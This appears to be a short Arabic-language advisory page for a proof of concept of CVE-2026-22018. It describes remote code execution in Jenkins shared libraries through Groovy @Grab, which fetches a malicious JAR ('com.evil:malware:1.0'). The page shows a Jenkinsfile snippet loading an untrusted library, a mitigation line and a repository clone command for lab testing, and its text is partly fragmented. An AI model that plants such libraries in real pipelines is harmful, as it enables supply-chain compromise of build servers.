
PoC لثغرة CVE-2026-22018، وهي ثغرة RCE حرجة في Jenkins Pipeline Shared Library عبر Groovy @Grab، توضح حقن الكود في سلسلة التوريد وخطوات التخفيف.
@Grab// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
evilStep()
}
يقوم Jenkins Pipeline بتحميل مكتبة مشتركة من مصدر غير موثوق به تمامًا. تستخدم المكتبة التعليمة التوضيحية @Grab لتنزيل قطع أثرية خارجية من Maven، والتي قد تشتمل على فئة خبيثة تنفّذ التعليمات البرمجية على وحدة تحكم Jenkins أثناء تجميع Groovy.
@Grab في Groovy بجلب وتحميل ملفات JAR عشوائية في وقت التشغيل؛ والمكتبات المشتركة غير معزولة داخل بيئة رملية (Sandbox).قم بتكوين Pipeline بمكتبة غير موثوقة تحتوي على @Grab('com.evil:malware:1.0') في ملف vars/evilStep.groovy. وعند تشغيل Pipeline، يتم تنفيذ كتلة التهيئة الثابتة لملف JAR الخبيث.
@Grab عبر إعدادات أمان البيئة الرملية (Sandbox) في Groovy.git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.